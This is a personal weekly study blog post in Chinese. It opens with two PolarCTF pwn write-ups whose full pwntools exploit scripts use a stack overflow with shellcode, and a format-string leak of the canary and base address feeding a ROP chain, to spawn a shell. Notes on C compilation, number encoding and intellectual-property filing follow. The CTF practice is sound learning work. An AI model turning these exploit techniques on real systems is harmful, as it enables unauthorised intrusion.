20250630-20250706

20250630-20250706

题目复现

题目附件:
【超级会员V5】通过百度网盘分享的文件:20250616-20250622
链接:https://pan.baidu.com/s/1Ji_ww_Nc6y559UgTazQZNA?pwd=padm
提取码:padm

(polarctf)bllbl_shellcode4

博客贴图有点费事,懒得弄了,只开了NX,栈上不可执行,函数逻辑就是read溢出,其实read溢出有些文章给出了很多细致且极限的利用方法,百度搜索“read fmt”就会有很多,不在此赘述(笔者也没学会)

本地有意思的点在于有一行

  __asm { jmp     rsp }

jmp 指令jmp 是一种无条件跳转指令,它会使程序的执行流转移到指令中指定的地址。

指令含义jmp rsp 的意思是程序将跳转到 rsp 当前指向的内存地址。这可能是经过某种计算后存储在栈上的返回地址,或是另一个函数的入口点。

那么流程就是:read栈溢出,控制到bss段写入一个shellcode,然后通过asm汇编指令跳转到栈顶执行该shellcode获得shell

然后本地exp如下:

#encoding=utf-8
#栈迁移、shellcode编写
#可本地复现
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# io = remote("1.95.36.136", 2119)
io = process("./bllbl_shellcode4")
elf = ELF("./bllbl_shellcode4")

bss_addr=0x04040C0
read_bss=0x401335
jmp_rsp_x15=0x00000000040136A
sh_addr=0x40203f
payload =b'a' *0x9 + p64(bss_addr)+ p64(read_bss)
# gdb.attach(io,"b * 0x0401330")
io.send(payload)#0x4040b7
shellcode = '''
            nop;
            nop;
            nop;
            nop;
            mov al,0x3b;
            mov esi,ebx;
            mov edi,0x40203f;
            mov edx,esi;
            syscall;
            '''
shellcode = asm(shellcode)
shellcode += p64(jmp_rsp_x15)
print("shellcode",hex(len(shellcode)))
io.send(shellcode)
io.interactive()

(polarctf)bllhl_pieeee

64位小端

保护:开满

程序逻辑:输入yes有个system调用,输入no进入input(),有gets溢出和格式化字符串漏洞,保护全开,所以泄露基址和canary,然后调用system然后写入/bin/sh

canary:

pwndbg> fm 0x7fff4aab6dc8
The index of format argument : 84 ("%83$p")

留意点:canary长8字节(16字符),地址长6字节(12字符)

exp:

#encoding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = remote("1.95.36.136", 2140)
# io = process("./bllhl_pieee")
elf = ELF("./bllhl_pieee")
# libc=ELF("./libc.so.6")

io.sendafter(b'yao shell?',b'no')
# gdb.attach(io)
io.sendline(b'%34$p-%31$p-%83$p')

io.recvuntil(b'0x')
base_addr = int(io.recv(12),16)
print(base_addr)
io.recvuntil(b'0x')
binsh_addr = int(io.recv(12),16) + 0x130
print(binsh_addr)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(canary)

pop_rdi_ret = base_addr + 0xc53
ret_addr = base_addr + 0x849
system_addr = base_addr + elf.plt['system']

payload = b'a'*(0x270 - 0x10) + b'/bin/sh\x00' + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) + b'/bin/sh\x00'
io.sendline(payload)
io.interactive()

学习笔记(逆向相关)

#include<stdio.h>

int main(){
    int n = 999 ;
    printf("Hello world! %p :%d\r\n",&n,n);
    
    getchar();
    return 0;
}

第一部分:常识

.obj文件:根据当前源代码编译成二进制目标文件

obj文件是可跨语言的(不能跨平台),但是这个文件不可运行

不可运行的原因:代码运行文件,要明白文件在哪里,数据在哪里,要和操作系统约定好数据和文件的位置

obj对应的文件格式:coff

exe对应的文件格式:PE

在程序运行中,不退出结束,构成动态观测条件(运行就行,菜单,或者getchar()接收输入)

然后去二进制编辑器(winhex),打开"Open RAM"的选项,可以查看进程

Primary Memory:主要内存

Entire Memory:全部进程内存

go to offest:跳转到该地址

输出的%p,输入的&n,可以输出n的地址,和winhex的地址相同

#include<stdio.h>引发的一系列知识

双引号找当前目录,当前目录没有,再找环境变量

尖括号只找环境变量

双引号和尖括号的潜台词:双引号因为寻找当前文件目录,所以表示这个代码的调用库是我自己写的,自定义的,不是官方的

尖括号是这个代码用的是官方的库

武汉薪资计算机开发:
本科毕业生:4000
懂得代码规范:6000(在实际项目中至少写5万行代码)规范以行为单位
新手想法:我把这部分代码写完了再规范(错误的)
正确做法:写一行,规范一行(以行为单位)
有检查意识:8000

cl编译命令:

cl /c Hello.c:只编译,不链接

cl /c /W1 hello.c:设置检查错误严谨程度为1的情况下编译软件    W:warning

cl /P hello.c :不编译,把预处理的结果展示出来看看
结果:生成.i文件,为说明性文件,不可编译
内容:会把
作用:用作编译错误审查

.c:有处理器行为的代码,命名为功能性代码

.h:只有声明,没有功能性的,命名为头文件

link链接命令:

int main()引发的一系列知识

VS的VC源码分析,分析初始化,格式化等库文件代码,了解程序运行原理:VC98/CRT\SRC\CRT0.C

建议使用VC6,低版本地址固定,高版本有地址随机,便于学习内存

有地址有值不够,还要有编码格式规定,存放类型规定

小端序为主

printf引发的一系列知识

1、格式化

2、输出到标准输出设备

printf的实现要具备:

格式化输出,支持%,数据流,正则等数据传入,还有编码较正等

了解计算机组成和硬件接口

Windows系统,驱动,显卡协议

3、返回值

C语言函数学习手册:MSDN

Windows内核:NT内核

MSDN

格式

1、目标函数与同类函数

2、简单描述

3、函数声明

4、头文件支持、支持的平台环境

5、支撑库

6、返回值

第二部分开始:随机数相关的讨论

“有没有真正的随机”

WannaCry在产生高精度随机数方面下了很大的功夫,但是在微软的加密库中就有,微软做的更好

wannacry还原的缺点:会在内存留下地址痕迹

WannaCry:一种“蠕虫式”的勒索病毒软件

7fffffff = 2147483647

接上节的printf,循环中不要有print,处理会很慢,因为print的实现步骤很多

编码约定

有符号位和无符号位在内存中的约定,即如何用二进制数据约定编码实现不同数据的实现

拓展:程序的加减乘除是如何实现的(除法很难)

减法是求补运算(补码相关)

例子:

85 - 23 = 62

85 + (100 - 23 )

85 + 77 = 162

进位丢失,之后,为62

所以减法为85 + neg(23)后进位丢失

数学对开发的作用

如果要还原现实的物理引擎,那么数学就要好,如果是用引擎开发的人,则只需要记住使用方法即可

前者薪资三五万,后者薪资平常

(个人思考)补码的存在

学习计算机组成原理的时候,老师只讲了有补码,补码的运算,但是没有很明确的阐述补码的作用,这点她做的并不好,至少做的没有宋老师好

首先明确为什么要补码?

因为硬件只能实现,加法和移位

所以补码是为了实现减法服务的,所以补码的各种规律,各种数学运用,都是

为了对数据进行操作

(个人思考)1byte = 8bit

这个是常识。我也知道是八位,但是不用总会忘记,那么在Winhex和010以及抓包的各种情况下,为什么都是00、ff这样两两出现的?

这就是一位,所以一起出现,明白了,清晰了,用过了,记牢了

浮点数编码

《深入理解计算机原理》

1、十进制转为二进制

2、科学计数法表示

3、S EEEEEEEE DDDDDDDDDDDDDDDDDDDDDDD

S:正负

E:科学计数法的指数+127

D:尾数1.XXXXXXXXXXXXXX中的XXXXXXXXXXXXXX

4、转成16进制,然后小尾排列

image-20250706122423622

学习笔记(知识产权相关)

知识产权相关的流程

学习资料

商标:【商标注册完整流程(自己注册)2024年10月15号最新版】https://www.bilibili.com/video/BV1HTySYtEDE?vd_source=efb48d1bee4dd7fe44d054a141bb714b

软著:【软著申请教程,一学就会(2024版)】https://www.bilibili.com/video/BV1HT4y1W7tZ?vd_source=efb48d1bee4dd7fe44d054a141bb714b

专利

一、畅华【第一课 专利信息分析】https://www.bilibili.com/video/BV1rP4y1L7zr?vd_source=efb48d1bee4dd7fe44d054a141bb714b

二、专业代理师兵小二【初学者写专利常见的8个问题】https://www.bilibili.com/video/BV1aG411G71C?vd_source=efb48d1bee4dd7fe44d054a141bb714b

三、文姜工作室【手把手教会你怎么申请专利】https://www.bilibili.com/video/BV1Kt4y1275P?p=4&vd_source=efb48d1bee4dd7fe44d054a141bb714b

一、软件著作(软著)

第一步:查看官网文档,看看最近的政策变化

第二步:官网,注册(身份证正反面,持证照片(5MB以内,不要前置镜像,手指不要遮挡信息等))

第三步:软件申请

软件申请核心内容

一、软件申请信息:软件全称,软件简称,版本号,权利范围

二、软件开发信息:软件分类,软件说明,开发方式,开发完成时间,发表状态

三、软件功能与特点:开发的硬件环境,运行的硬件环境,开发该软件的操作系统,软件开发工具/开发环境,软件对的运行平台/操作系统,软件运行支撑环境/支持软件,编程语言,源程序量(行数),开发目的,面向领域/行业,软件的主要功能,软件的技术特点

四、程序鉴别材料

五、文档鉴别材料

二、商标

第一步:注册

申请人信息:公司名

地址:公司营业执照上的地址

主体资格证明文件:营业执照(副本复印,在空白处加盖清晰的公章(左上角),扫描成PDF格式并且不得大于两兆)

第二步:等到一两天后收到邮件,根据邮件下载证书驱动,获取证书以及PIN码

第三步:登录后按流程申请首页选择项:直接下一步

申请人信息:公司统一社会信用代码、国内申请人联系地址(公司地址)、

商标声明:本商标由中文“**”构成,商标无特殊含义。

共同申请:无

优先权信息:无

商标小项:【点击添加商品/服务项目】(参考同类型安全公司)

选中、然后点击【添加类型商品】

注意事项:一、凑够十个

​ 二、一个大类别

​ 三、小项业务符合

数据填写:商标图样

PS:

一、第二天出申请号

二、一个星期到两个星期左右付款

三、专利(简述)

首先:技术交底书

发明名称:主题,类型(产品还是方法),发明的用途,直接应用的领域(实用通用名称)

技术领域:直接所属的领域(不宜太过上位,避免写成本身,最好就是直属领域)

技术背景:介绍最为接近的现有技术,客观指出我们技术解决的对应问题

技术问题:结合技术背景的问题来详细写解决的对应的问题

技术方案:解决该问题使用的技术方案,详细写技术手段来描述技术方案,方法发明(流程以及流程中的各环节采用的技术手段)

技术效果:发明创造产生的有益效果、作用,有用性能的出现,与现有技术比较得出,实验数据+数据分析得来

附图及其说明:帮忙理解发明流程的创造,流程图结构图之类的

技术交底书的流程:明确发明点 -- 技术问题 -- 技术方案 -- 技术效果

最终目的:明确保护范围

交付给专利代理人,理解技术方案,使用严谨的法律语言,写出保护范围合理、清楚的权利要求书和内容完整的说明书

下周目标

适应节奏,慢慢学习

posted @ 2025-07-07 14:15  SX住一  阅读(17)  评论(0)    收藏  举报